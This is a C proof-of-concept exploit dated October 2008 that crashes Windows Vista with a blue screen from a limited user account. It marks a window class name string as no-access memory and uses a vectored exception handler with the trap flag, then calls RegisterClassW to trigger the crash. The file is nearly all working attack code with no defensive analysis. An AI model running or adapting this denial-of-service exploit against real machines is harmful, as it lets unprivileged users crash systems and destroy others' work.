MS Windows Vista Access Violation from Limited Account Exploit (BSoD)

                                                // //////////////////////////////////////////////////////////////
// Windows Vista BSoD (Access violation) from limited account. //
// Tested on Home Premium & Ultimate @ October 05 2008         //
/////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <windows.h>

WCHAR szClass[] = L"BSODClass";

int ExceptionHandler(EXCEPTION_POINTERS* lpExceptionInfo);
typedef void (WINAPI* pFunc)(ULONG ulFirst, LPVOID lpHandler);
pFunc pRtlAddVectoredExceptionHandler;

typedef struct
{
    DWORD dwWriteViolation;
    LPVOID lpAddress;
} EXCEPTION_ACCESS_VIOLATION_PARAMS;

int main()
{
    WNDCLASSW wc;
    DWORD dwOldProt;

    printf("Windows Vista BSoD from usermode/limited account.\n"
           "Coded by. Defsanguje - October 05 2008\n");

    // Setup vectored exception handler. SEH would work also.
    pRtlAddVectoredExceptionHandler = (pFunc)GetProcAddress((HMODULE)GetModuleHandle("ntdll.dll"),
                                                            "RtlAddVectoredExceptionHandler");
    (*pRtlAddVectoredExceptionHandler)(TRUE, ExceptionHandler);

    // Dummy data
    wc.style         = 0;
    wc.lpfnWndProc   = NULL;
    wc.cbClsExtra    = 0;
    wc.cbWndExtra    = 0;
    wc.hInstance     = GetModuleHandle(NULL);
    wc.hIcon         = NULL;
    wc.hCursor       = LoadCursor(NULL, IDC_ARROW);
    wc.hbrBackground = GetStockObject(HOLLOW_BRUSH);
    wc.lpszMenuName  = NULL;
    wc.lpszClassName = szClass;

    VirtualProtect(szClass, 1, PAGE_NOACCESS, &dwOldProt);
    RegisterClassW(&wc);

    printf("You shouldn't see this");
    return 0;
}

int ExceptionHandler(EXCEPTION_POINTERS* lpExceptionInfo)
{
    static LPVOID lpLastAddress;
    static DWORD dwOldProt;
    EXCEPTION_ACCESS_VIOLATION_PARAMS* avParams;
    switch(lpExceptionInfo->ExceptionRecord->ExceptionCode)
    {
        case EXCEPTION_ACCESS_VIOLATION:
            avParams = (EXCEPTION_ACCESS_VIOLATION_PARAMS*)lpExceptionInfo->ExceptionRecord->ExceptionInformation;
            VirtualProtect(avParams->lpAddress, 1, PAGE_READWRITE, &dwOldProt);
            lpLastAddress = avParams->lpAddress;

            // Set trap flag
            lpExceptionInfo->ContextRecord->EFlags |= 0x100;
            break;
        case STATUS_SINGLE_STEP:
            VirtualProtect(lpLastAddress, 1, PAGE_NOACCESS, &dwOldProt);
            break;
        default:
            break;
    }
    return EXCEPTION_CONTINUE_EXECUTION;
;
}